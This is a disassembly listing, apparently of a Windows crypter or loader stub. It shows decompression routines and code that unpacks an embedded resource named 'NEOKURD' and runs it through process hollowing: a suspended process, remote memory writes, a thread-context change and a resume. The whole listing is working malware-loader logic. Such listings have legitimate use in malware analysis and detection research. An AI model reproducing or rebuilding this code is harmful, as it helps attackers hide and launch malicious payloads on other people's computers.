		mov	ebx, esi
		shr	ebx, 10h
		and	ebx, 1


loc_10006EF2:				; CODE XREF: CODE:10006ED2j
		mov	edi, [ebp-14h]
		add	edi, edi
		add	ebx, edi
		mov	[ebp-14h], ebx
		cmp	dword ptr [ebp-14h], 0
		jnz	loc_10006F87
		inc	dword ptr [ebp-14h]


loc_10006F09:				; CODE XREF: CODE:10006F81j
		mov	ebx, esi
		add	ebx, ebx
		mov	esi, ebx
		test	esi, 0FFFFh
		jz	short loc_10006F21
		mov	ebx, esi
		shr	ebx, 10h
		and	ebx, 1
		jmp	short loc_10006F3F
; ---------------------------------------------------------------------------


loc_10006F21:				; CODE XREF: CODE:10006F15j
		add	edx, 2
		xor	ebx, ebx
		movzx	esi, byte ptr [eax+edx-2]
		mov	bl, [eax+edx-1]
		shl	ebx, 8
		add	esi, ebx
		add	esi, esi
		inc	esi
		mov	ebx, esi
		shr	ebx, 10h
		and	ebx, 1


loc_10006F3F:				; CODE XREF: CODE:10006F1Fj
		mov	edi, [ebp-14h]
		add	edi, edi
		add	ebx, edi
		mov	[ebp-14h], ebx
		mov	ebx, esi
		add	ebx, ebx
		mov	esi, ebx
		test	esi, 0FFFFh
		jz	short loc_10006F61
		mov	ebx, esi
		shr	ebx, 10h
		and	ebx, 1
		jmp	short loc_10006F7F
; ---------------------------------------------------------------------------


loc_10006F61:				; CODE XREF: CODE:10006F55j
		add	edx, 2
		xor	ebx, ebx
		movzx	esi, byte ptr [eax+edx-2]
		mov	bl, [eax+edx-1]
		shl	ebx, 8
		add	esi, ebx
		add	esi, esi
		inc	esi
		mov	ebx, esi
		shr	ebx, 10h
		and	ebx, 1


loc_10006F7F:				; CODE XREF: CODE:10006F5Fj
		test	ebx, ebx
		jz	short loc_10006F09
		add	dword ptr [ebp-14h], 2


loc_10006F87:				; CODE XREF: CODE:10006F00j
		cmp	ecx, 0D00h
		setnbe	bl
		and	ebx, 1
		add	[ebp-14h], ebx
		mov	ebx, [ebp-8]
		mov	edi, [ebp-0Ch]
		add	ebx, [ebp-0Ch]
		sub	ebx, ecx
		mov	ecx, ebx
		mov	ebx, [ebp-8]
		add	ebx, edi
		push	ebx
		pop	edi
		mov	bl, [ecx]
		inc	ecx
		mov	[edi], bl
		inc	dword ptr [ebp-0Ch]


loc_10006FB2:				; CODE XREF: CODE:10006FC7j
		mov	ebx, [ebp-8]
		mov	edi, [ebp-0Ch]
		add	ebx, edi
		push	ebx
		mov	bl, [ecx]
		pop	edi
		mov	[edi], bl
		inc	ecx
		inc	dword ptr [ebp-0Ch]
		dec	dword ptr [ebp-14h]
		jnz	short loc_10006FB2
		jmp	loc_10006D88
; ---------------------------------------------------------------------------


loc_10006FCE:				; CODE XREF: CODE:10006E79j
		mov	eax, [ebp+0Ch]
		mov	ecx, [ebp-0Ch]
		mov	[eax], ecx
		cmp	edx, [ebp-4]
		jnz	short loc_10006FDF
		xor	eax, eax
		jmp	short loc_10006FF0
; ---------------------------------------------------------------------------


loc_10006FDF:				; CODE XREF: CODE:10006FD9j
		cmp	edx, [ebp-4]
		jnb	short loc_10006FEB
		mov	eax, 0FFFFFF33h
		jmp	short loc_10006FF0
; ---------------------------------------------------------------------------


loc_10006FEB:				; CODE XREF: CODE:10006FE2j
		mov	eax, 0FFFFFF37h


loc_10006FF0:				; CODE XREF: CODE:10006FDDj
					; CODE:10006FE9j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		align 4
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-0Ch], ecx
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		xor	ebx, ebx
		xor	eax, eax
		xor	esi, esi
		mov	[ebp-10h], eax
		xor	edx, edx
		lea	ecx, [ebp+8]
		mov	dword ptr [ebp-14h], 1
		test	ecx, ecx


loc_10007025:				; CODE XREF: CODE:100071F5j
		mov	eax, [ebp-0Ch]
		mov	ecx, [ebp-10h]
		add	eax, ecx
		mov	[ebp-1Ch], eax
		mov	ecx, [ebp-4]
		lea	eax, [ecx+edx]
		jmp	short loc_10007047
; ---------------------------------------------------------------------------


loc_10007038:				; CODE XREF: CODE:1000706Ej
		mov	cl, [eax]
		mov	edi, [ebp-1Ch]
		mov	[edi], cl
		inc	edx
		inc	eax
		inc	dword ptr [ebp-10h]
		inc	dword ptr [ebp-1Ch]


loc_10007047:				; CODE XREF: CODE:10007036j
		test	ebx, ebx
		jbe	short loc_10007057
		dec	ebx
		mov	ecx, ebx
		mov	edi, esi
		shr	edi, cl
		and	edi, 1
		jmp	short loc_1000706C
; ---------------------------------------------------------------------------


loc_10007057:				; CODE XREF: CODE:10007049j
		mov	esi, [eax]
		add	eax, 4
		mov	edi, esi
		add	edx, 4
		shr	edi, 1Fh
		mov	ebx, 1Fh
		and	edi, 1


loc_1000706C:				; CODE XREF: CODE:10007055j
		test	edi, edi
		jnz	short loc_10007038
		mov	eax, 1


loc_10007075:				; CODE XREF: CODE:100070C9j
		test	ebx, ebx
		jbe	short loc_10007085
		dec	ebx
		mov	ecx, ebx
		mov	edi, esi
		shr	edi, cl
		and	edi, 1
		jmp	short loc_1000709B
; ---------------------------------------------------------------------------


loc_10007085:				; CODE XREF: CODE:10007077j
		mov	ebx, 1Fh
		mov	ecx, [ebp-4]
		mov	esi, [ecx+edx]
		add	edx, 4
		mov	edi, esi
		shr	edi, 1Fh
		and	edi, 1


loc_1000709B:				; CODE XREF: CODE:10007083j
		add	eax, eax
		add	edi, eax
		test	ebx, ebx
		mov	eax, edi
		jbe	short loc_100070B1
		dec	ebx
		mov	ecx, ebx
		mov	edi, esi
		shr	edi, cl
		and	edi, 1
		jmp	short loc_100070C7
; ---------------------------------------------------------------------------


loc_100070B1:				; CODE XREF: CODE:100070A3j
		mov	ebx, 1Fh
		mov	ecx, [ebp-4]
		mov	esi, [ecx+edx]
		add	edx, 4
		mov	edi, esi
		shr	edi, 1Fh
		and	edi, 1


loc_100070C7:				; CODE XREF: CODE:100070AFj
		test	edi, edi
		jz	short loc_10007075
		cmp	eax, 2
		jnz	short loc_100070D5
		mov	eax, [ebp-14h]
		jmp	short loc_100070F4
; ---------------------------------------------------------------------------


loc_100070D5:				; CODE XREF: CODE:100070CEj
		mov	ecx, [ebp-4]
		sub	eax, 3
		shl	eax, 8
		movzx	ecx, byte ptr [ecx+edx]
		add	ecx, eax
		inc	edx
		mov	eax, ecx
		cmp	eax, 0FFFFFFFFh
		jz	loc_100071FA
		inc	eax
		mov	[ebp-14h], eax


loc_100070F4:				; CODE XREF: CODE:100070D3j
		test	ebx, ebx
		jbe	short loc_10007104
		dec	ebx
		mov	ecx, ebx
		mov	edi, esi
		shr	edi, cl
		and	edi, 1
		jmp	short loc_1000711A
; ---------------------------------------------------------------------------


loc_10007104:				; CODE XREF: CODE:100070F6j
		mov	ebx, 1Fh
		mov	ecx, [ebp-4]
		mov	esi, [ecx+edx]
		add	edx, 4
		mov	edi, esi
		shr	edi, 1Fh
		and	edi, 1


loc_1000711A:				; CODE XREF: CODE:10007102j
		mov	[ebp-18h], edi
		test	ebx, ebx
		jbe	short loc_1000712D
		dec	ebx
		mov	ecx, ebx
		mov	edi, esi
		shr	edi, cl
		and	edi, 1
		jmp	short loc_10007143
; ---------------------------------------------------------------------------


loc_1000712D:				; CODE XREF: CODE:1000711Fj
		mov	ebx, 1Fh
		mov	ecx, [ebp-4]
		mov	esi, [ecx+edx]
		add	edx, 4
		mov	edi, esi
		shr	edi, 1Fh
		and	edi, 1


loc_10007143:				; CODE XREF: CODE:1000712Bj
		mov	ecx, [ebp-18h]
		add	ecx, ecx
		add	edi, ecx
		mov	[ebp-18h], edi
		cmp	dword ptr [ebp-18h], 0
		jnz	short loc_100071B4
		inc	dword ptr [ebp-18h]


loc_10007156:				; CODE XREF: CODE:100071AEj
		test	ebx, ebx
		jbe	short loc_10007166
		dec	ebx
		mov	ecx, ebx
		mov	edi, esi
		shr	edi, cl
		and	edi, 1
		jmp	short loc_1000717C
; ---------------------------------------------------------------------------


loc_10007166:				; CODE XREF: CODE:10007158j
		mov	ebx, 1Fh
		mov	ecx, [ebp-4]
		mov	esi, [ecx+edx]
		add	edx, 4
		mov	edi, esi
		shr	edi, 1Fh
		and	edi, 1


loc_1000717C:				; CODE XREF: CODE:10007164j
		mov	ecx, [ebp-18h]
		add	ecx, ecx
		add	edi, ecx
		test	ebx, ebx
		mov	[ebp-18h], edi
		jbe	short loc_10007196
		dec	ebx
		mov	ecx, ebx
		mov	edi, esi
		shr	edi, cl
		and	edi, 1
		jmp	short loc_100071AC
; ---------------------------------------------------------------------------


loc_10007196:				; CODE XREF: CODE:10007188j
		mov	ebx, 1Fh
		mov	ecx, [ebp-4]
		mov	esi, [ecx+edx]
		add	edx, 4
		mov	edi, esi
		shr	edi, 1Fh
		and	edi, 1


loc_100071AC:				; CODE XREF: CODE:10007194j
		test	edi, edi
		jz	short loc_10007156
		add	dword ptr [ebp-18h], 2


loc_100071B4:				; CODE XREF: CODE:10007151j
		cmp	eax, 0D00h
		setnbe	cl
		and	ecx, 1
		add	[ebp-18h], ecx
		mov	ecx, [ebp-0Ch]
		mov	edi, [ebp-10h]
		add	ecx, [ebp-10h]
		sub	ecx, eax
		mov	eax, ecx
		mov	ecx, [ebp-0Ch]
		add	ecx, edi
		push	ecx
		pop	edi
		mov	cl, [eax]
		inc	eax
		mov	[edi], cl
		inc	dword ptr [ebp-10h]


loc_100071DE:				; CODE XREF: CODE:100071F3j
		mov	ecx, [ebp-0Ch]
		mov	edi, [ebp-10h]
		add	ecx, edi
		push	ecx
		mov	cl, [eax]
		pop	edi
		mov	[edi], cl
		inc	eax
		inc	dword ptr [ebp-10h]
		dec	dword ptr [ebp-18h]
		jnz	short loc_100071DE
		jmp	loc_10007025
; ---------------------------------------------------------------------------


loc_100071FA:				; CODE XREF: CODE:100070EAj
		mov	eax, [ebp+0Ch]
		mov	ecx, [ebp-10h]
		mov	[eax], ecx
		cmp	edx, [ebp-8]
		jnz	short loc_1000720B
		xor	eax, eax
		jmp	short loc_1000721C
; ---------------------------------------------------------------------------


loc_1000720B:				; CODE XREF: CODE:10007205j
		cmp	edx, [ebp-8]
		jnb	short loc_10007217
		mov	eax, 0FFFFFF33h
		jmp	short loc_1000721C
; ---------------------------------------------------------------------------


loc_10007217:				; CODE XREF: CODE:1000720Ej
		mov	eax, 0FFFFFF37h


loc_1000721C:				; CODE XREF: CODE:10007209j
					; CODE:10007215j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		align 4
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_1000724D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_1000A674
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10007254


loc_1000724C:				; CODE XREF: CODE:10007252j
		retn
; ---------------------------------------------------------------------------


loc_1000724D:				; DATA XREF: CODE:1000722Eo
		jmp	loc_10002B60
; ---------------------------------------------------------------------------
		jmp	short loc_1000724C
; ---------------------------------------------------------------------------


loc_10007254:				; CODE XREF: CODE:loc_1000724Cj
					; DATA XREF: CODE:10007247o
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		sub	ds:dword_1000A674, 1
		retn

; =============== S U B	R O U T	I N E =======================================



sub_10007260	proc near		; CODE XREF: sub_100072F4+ACp
					; sub_100072F4+102p ...
		push	ebx
		mov	ebx, edx
		mov	ecx, eax
		mov	eax, ecx
		xor	edx, edx
		div	ebx
		test	edx, edx
		jnz	short loc_10007273
		mov	eax, ecx
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_10007273:				; CODE XREF: sub_10007260+Dj
		mov	eax, ecx
		xor	edx, edx
		div	ebx
		inc	eax
		imul	ebx
		pop	ebx
		retn
sub_10007260	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10007280	proc near		; CODE XREF: sub_100072F4+34p

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	ecx, [eax+3Ch]
		add	ecx, eax
		mov	edi, [ecx+38h]
		mov	ebx, [ecx+54h]
		mov	eax, ebx
		xor	edx, edx
		div	edi
		test	edx, edx
		jnz	short loc_1000729F
		mov	[esp+14h+var_14], ebx
		jmp	short loc_100072AB
; ---------------------------------------------------------------------------


loc_1000729F:				; CODE XREF: sub_10007280+18j
		mov	eax, ebx
		xor	edx, edx
		div	edi
		inc	eax
		imul	edi
		mov	[esp+14h+var_14], eax


loc_100072AB:				; CODE XREF: sub_10007280+1Dj
		lea	esi, [ecx+18h]
		movzx	eax, word ptr [ecx+14h]
		add	esi, eax
		movzx	ebx, word ptr [ecx+6]
		dec	ebx
		test	ebx, ebx
		jb	short loc_100072EA
		inc	ebx
		xor	ecx, ecx


loc_100072C0:				; CODE XREF: sub_10007280+68j
		lea	eax, [ecx+ecx*4]
		mov	ebp, [esi+eax*8+8]
		test	ebp, ebp
		jz	short loc_100072E6
		mov	eax, ebp
		xor	edx, edx
		div	edi
		test	edx, edx
		jnz	short loc_100072DA
		add	[esp+14h+var_14], ebp
		jmp	short loc_100072E6
; ---------------------------------------------------------------------------


loc_100072DA:				; CODE XREF: sub_10007280+53j
		mov	eax, ebp
		xor	edx, edx
		div	edi
		inc	eax
		imul	edi
		add	[esp+14h+var_14], eax


loc_100072E6:				; CODE XREF: sub_10007280+49j
					; sub_10007280+58j
		inc	ecx
		dec	ebx
		jnz	short loc_100072C0


loc_100072EA:				; CODE XREF: sub_10007280+3Bj
		mov	eax, [esp+14h+var_14]
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10007280	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100072F4	proc near		; CODE XREF: sub_10007610+32p
					; sub_1000765C+2Dp ...

var_140		= dword	ptr -140h
var_13C		= byte ptr -13Ch
var_F8		= dword	ptr -0F8h
var_F4		= dword	ptr -0F4h
var_E8		= dword	ptr -0E8h
var_44		= dword	ptr -44h
var_38		= dword	ptr -38h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEC0h
		push	ebx
		push	esi
		push	edi
		xor	edx, edx
		mov	[ebp+var_140], edx
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_10007580
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		mov	eax, [eax+3Ch]
		add	eax, [ebp+var_4]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_4]
		call	sub_10007280
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		call	sub_10002448
		mov	[ebp+var_1C], eax
		xor	edx, edx
		push	ebp
		push	offset loc_10007560
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_18]
		mov	eax, [eax+54h]
		mov	edx, [ebp+var_18]
		lea	esi, [edx+18h]
		mov	edx, [ebp+var_18]
		movzx	edx, word ptr [edx+14h]
		add	esi, edx
		mov	edx, [ebp+var_18]
		movzx	edi, word ptr [edx+6]
		dec	edi
		test	edi, edi
		jb	short loc_10007387
		inc	edi
		xor	ebx, ebx


loc_10007373:				; CODE XREF: sub_100072F4+91j
		lea	edx, [ebx+ebx*4]
		cmp	eax, [esi+edx*8+14h]
		jbe	short loc_10007383
		lea	eax, [ebx+ebx*4]
		mov	eax, [esi+eax*8+14h]


loc_10007383:				; CODE XREF: sub_100072F4+86j
		inc	ebx
		dec	edi
		jnz	short loc_10007373


loc_10007387:				; CODE XREF: sub_100072F4+7Aj
		mov	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_14]
		call	sub_10003790
		mov	eax, [ebp+var_18]
		mov	edx, [eax+38h]
		mov	eax, [ebp+var_18]
		mov	eax, [eax+54h]
		call	sub_10007260
		add	eax, [ebp+var_14]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_18]
		movzx	edi, word ptr [eax+6]
		dec	edi
		test	edi, edi
		jb	short loc_10007429
		inc	edi
		xor	ebx, ebx


loc_100073BA:				; CODE XREF: sub_100072F4+133j
		lea	eax, [ebx+ebx*4]
		mov	eax, [esi+eax*8+10h]
		test	eax, eax
		jbe	short loc_10007403
		lea	edx, [ebx+ebx*4]
		cmp	eax, [esi+edx*8+8]
		jbe	short loc_100073D5
		lea	eax, [ebx+ebx*4]
		mov	eax, [esi+eax*8+8]


loc_100073D5:				; CODE XREF: sub_100072F4+D8j
		lea	edx, [ebx+ebx*4]
		mov	edx, [esi+edx*8+14h]
		add	edx, [ebp+var_4]
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		call	sub_10003790
		lea	eax, [ebx+ebx*4]
		mov	eax, [esi+eax*8+8]
		mov	edx, [ebp+var_18]
		mov	edx, [edx+38h]
		call	sub_10007260
		add	eax, [ebp+var_14]
		mov	[ebp+var_14], eax
		jmp	short loc_10007425
; ---------------------------------------------------------------------------


loc_10007403:				; CODE XREF: sub_100072F4+CFj
		lea	eax, [ebx+ebx*4]
		cmp	dword ptr [esi+eax*8+8], 0
		jz	short loc_10007425
		lea	eax, [ebx+ebx*4]
		mov	eax, [esi+eax*8+8]
		mov	edx, [ebp+var_18]
		mov	edx, [edx+38h]
		call	sub_10007260
		add	eax, [ebp+var_14]
		mov	[ebp+var_14], eax


loc_10007425:				; CODE XREF: sub_100072F4+10Dj
					; sub_100072F4+117j
		inc	ebx
		dec	edi
		jnz	short loc_100073BA


loc_10007429:				; CODE XREF: sub_100072F4+C1j
		lea	eax, [ebp+var_13C]
		mov	edx, 44h
		call	sub_10003798
		lea	eax, [ebp+var_E8]
		mov	edx, 0CCh
		call	sub_10003798
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	0
		push	0
		push	4
		push	0
		push	0
		push	0
		lea	edx, [ebp+var_140]
		xor	eax, eax
		call	sub_10002678
		mov	eax, [ebp+var_140]
		call	sub_10003274
		push	eax
		push	0
		call	sub_10003728	; CreateProcessA
		mov	[ebp+var_E8], 10007h
		lea	eax, [ebp+var_E8]
		push	eax
		mov	eax, [ebp+var_F4]
		push	eax
		call	sub_10003740	; GetThreadContext
		lea	eax, [ebp+var_C]
		push	eax
		push	4
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+var_44]
		add	eax, 8
		push	eax
		mov	eax, [ebp+var_F8]
		push	eax
		call	sub_10003758	; ReadProcessMemory
		push	40h
		push	3000h
		mov	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_18]
		mov	eax, [eax+34h]
		push	eax
		mov	eax, [ebp+var_F8]
		push	eax
		call	sub_10003780	; VirtualAllocEx
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_1C]
		push	eax
		mov	eax, [ebp+var_18]
		mov	eax, [eax+34h]
		push	eax
		mov	eax, [ebp+var_F8]
		push	eax
		call	sub_10003788	; WriteProcessMemory
		lea	eax, [ebp+var_C]
		push	eax
		push	4
		mov	eax, [ebp+var_18]
		add	eax, 34h
		push	eax
		mov	eax, [ebp+var_44]
		add	eax, 8
		push	eax
		mov	eax, [ebp+var_F8]
		push	eax
		call	sub_10003788	; WriteProcessMemory
		mov	eax, [ebp+var_18]
		mov	eax, [eax+34h]
		mov	edx, [ebp+var_18]
		add	eax, [edx+28h]
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_E8]
		push	eax
		mov	eax, [ebp+var_F4]
		push	eax
		call	sub_10003768	; SetThreadContext
		mov	eax, [ebp+var_F4]
		push	eax
		call	sub_10003760	; ResumeThread
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10007567


loc_10007555:				; CODE XREF: sub_100072F4+271j
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_100033C8
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_10007560:				; DATA XREF: sub_100072F4+4Ao
		jmp	loc_10002B60
; ---------------------------------------------------------------------------
		jmp	short loc_10007555
; ---------------------------------------------------------------------------


loc_10007567:				; CODE XREF: sub_100072F4+26Bj
					; DATA XREF: sub_100072F4+25Co
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10007587


loc_10007574:				; CODE XREF: sub_100072F4+291j
		lea	eax, [ebp+var_140]
		call	sub_100030C4
		retn
; ---------------------------------------------------------------------------


loc_10007580:				; DATA XREF: sub_100072F4+1Ao
		jmp	loc_10002B60
; ---------------------------------------------------------------------------
		jmp	short loc_10007574
; ---------------------------------------------------------------------------


loc_10007587:				; CODE XREF: sub_100072F4+28Bj
					; DATA XREF: sub_100072F4+27Bo
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_100072F4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10007590	proc near		; CODE XREF: sub_10007610+1Dp
					; sub_1000765C+1Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		push	0
		call	sub_10003738	; GetModuleHandleA
		push	eax
		call	sub_10003730	; FindResourceA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_100075CA
		push	ebx
		push	0
		call	sub_10003738	; GetModuleHandleA
		push	eax
		call	sub_10003748	; LoadResource
		test	eax, eax
		jz	short loc_100075CA
		push	eax
		call	sub_10003750	; LockResource
		mov	esi, eax


loc_100075CA:				; CODE XREF: sub_10007590+1Ej
					; sub_10007590+30j
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
sub_10007590	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100075D4	proc near		; CODE XREF: sub_10007610+Bp
					; sub_1000765C+Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		push	0
		call	sub_10003738	; GetModuleHandleA
		push	eax
		call	sub_10003730	; FindResourceA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_10007608
		push	ebx
		push	0
		call	sub_10003738	; GetModuleHandleA
		push	eax
		call	sub_10003770	; SizeofResource
		test	eax, eax
		jz	short loc_10007608
		mov	esi, eax


loc_10007608:				; CODE XREF: sub_100075D4+1Ej
					; sub_100075D4+30j
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
sub_100075D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_10007610	proc near		; CODE XREF: CODE:100078CFp

var_4		= dword	ptr -4

		push	ecx
		push	offset aRc_data	; "RC_DATA"
		push	offset aNeokurd	; "NEOKURD"
		call	sub_100075D4
		mov	[esp+4+var_4], eax
		push	offset aRc_data	; "RC_DATA"
		push	offset aNeokurd	; "NEOKURD"
		call	sub_10007590
		mov	edx, esp
		mov	ecx, 2
		call	sub_100037E0
		test	eax, eax
		jz	short loc_10007647
		call	sub_100072F4


loc_10007647:				; CODE XREF: sub_10007610+30j
		pop	edx
		retn
sub_10007610	endp

; ---------------------------------------------------------------------------
		align 4
aRc_data	db 'RC_DATA',0          ; DATA XREF: sub_10007610+1o
					; sub_10007610+13o
aNeokurd	db 'NEOKURD',0          ; DATA XREF: sub_10007610+6o
					; sub_10007610+18o

; =============== S U B	R O U T	I N E =======================================



sub_1000765C	proc near		; CODE XREF: CODE:1000791Ap

var_4		= dword	ptr -4

		push	ecx
		push	offset aRc_data_2 ; "RC_DATA"
		push	offset aNeokurd_2 ; "NEOKURD"
		call	sub_100075D4
		mov	[esp+4+var_4], eax
		push	offset aRc_data_2 ; "RC_DATA"
		push	offset aNeokurd_2 ; "NEOKURD"
		call	sub_10007590
		mov	edx, esp
		call	sub_100038B0
		test	eax, eax
		jz	short loc_1000768E
		call	sub_100072F4


loc_1000768E:				; CODE XREF: sub_1000765C+2Bj
		pop	edx
		retn
sub_1000765C	endp

; ---------------------------------------------------------------------------
aRc_data_2	db 'RC_DATA',0          ; DATA XREF: sub_1000765C+1o
					; sub_1000765C+13o
aNeokurd_2	db 'NEOKURD',0          ; DATA XREF: sub_1000765C+6o
					; sub_1000765C+18o

; =============== S U B	R O U T	I N E =======================================



sub_100076A0	proc near		; CODE XREF: sub_100076B8+15p
					; sub_10007758+16p
		test	eax, eax
		jnz	short loc_100076A8
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_100076A8:				; CODE XREF: sub_100076A0+2j
		sub	eax, 4
		mov	eax, [eax]
		and	eax, 7FFFFFFCh
		sub	eax, 4
		retn
sub_100076A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100076B8	proc near		; CODE XREF: sub_10007714+24p

var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		push	ecx
		mov	ebx, edx
		mov	esi, eax
		xor	edi, edi
		test	esi, esi
		jz	short loc_1000770D
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_100076D4
		mov	eax, esi
		call	sub_100076A0
		mov	[ebx], eax


loc_100076D4:				; CODE XREF: sub_100076B8+11j
		mov	eax, [ebx]
		call	sub_10006B64
		mov	[esp+10h+var_10], eax
		cmp	[esp+10h+var_10], 0FFFFFFFFh
		jnz	short loc_100076EA
		cmp	[esp+10h+var_10], 0
		jz	short loc_1000770D


loc_100076EA:				; CODE XREF: sub_100076B8+2Aj
		push	4
		push	1000h
		mov	eax, [esp+18h+var_10]
		push	eax
		push	0
		call	sub_10003778	; VirtualAlloc
		mov	edi, eax
		push	esp
		push	0
		mov	edx, [ebx]
		mov	ecx, edi
		mov	eax, esi
		call	sub_10006B74


loc_1000770D:				; CODE XREF: sub_100076B8+Cj
					; sub_100076B8+30j
		mov	eax, edi
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_100076B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_10007714	proc near		; CODE XREF: CODE:100078E8p

var_4		= dword	ptr -4

		push	ecx
		push	offset aRc_data_0 ; "RC_DATA"
		push	offset aNeokurd_0 ; "NEOKURD"
		call	sub_100075D4
		mov	[esp+4+var_4], eax
		push	offset aRc_data_0 ; "RC_DATA"
		push	offset aNeokurd_0 ; "NEOKURD"
		call	sub_10007590
		mov	edx, esp
		call	sub_100076B8
		test	eax, eax
		jz	short loc_10007746
		call	sub_100072F4


loc_10007746:				; CODE XREF: sub_10007714+2Bj
		pop	edx
		retn
sub_10007714	endp

; ---------------------------------------------------------------------------
aRc_data_0	db 'RC_DATA',0          ; DATA XREF: sub_10007714+1o
					; sub_10007714+13o
aNeokurd_0	db 'NEOKURD',0          ; DATA XREF: sub_10007714+6o
					; sub_10007714+18o

; =============== S U B	R O U T	I N E =======================================



sub_10007758	proc near		; CODE XREF: sub_100077BC+29p

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	ebx, edx
		mov	esi, eax
		xor	ebp, ebp
		test	esi, esi
		jz	short loc_100077B3
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_10007775
		mov	eax, esi
		call	sub_100076A0
		mov	[ebx], eax


loc_10007775:				; CODE XREF: sub_10007758+12j
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_1000777E
		test	edi, edi
		jz	short loc_100077B3


loc_1000777E:				; CODE XREF: sub_10007758+20j
		push	4
		push	1000h
		mov	eax, [ebx]
		push	eax
		push	0
		call	sub_10003778	; VirtualAlloc
		push	4
		push	1000h
		mov	eax, [ebx]
		push	eax
		push	0
		call	sub_10003778	; VirtualAlloc
		mov	[esp+14h+var_14], eax
		push	esp
		push	ebx
		mov	ecx, [ebx]
		mov	edx, [ebx]
		mov	eax, esi
		call	sub_10003E38
		mov	ebp, [esp+14h+var_14]


loc_100077B3:				; CODE XREF: sub_10007758+Dj
					; sub_10007758+24j
		mov	eax, ebp
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10007758	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100077BC	proc near		; CODE XREF: CODE:10007901p

var_8		= dword	ptr -8

		push	ebx
		push	ecx
		push	offset aRc_data_1 ; "RC_DATA"
		push	offset aNeokurd_1 ; "NEOKURD"
		call	sub_10007590
		mov	ebx, eax
		push	offset aRc_data_1 ; "RC_DATA"
		push	offset aNeokurd_1 ; "NEOKURD"
		call	sub_100075D4
		mov	[esp+8+var_8], eax
		mov	edx, esp
		mov	eax, ebx
		call	sub_10007758
		test	eax, eax
		jz	short loc_100077F3
		call	sub_100072F4


loc_100077F3:				; CODE XREF: sub_100077BC+30j
		pop	edx
		pop	ebx
		retn
sub_100077BC	endp

; ---------------------------------------------------------------------------
		align 4
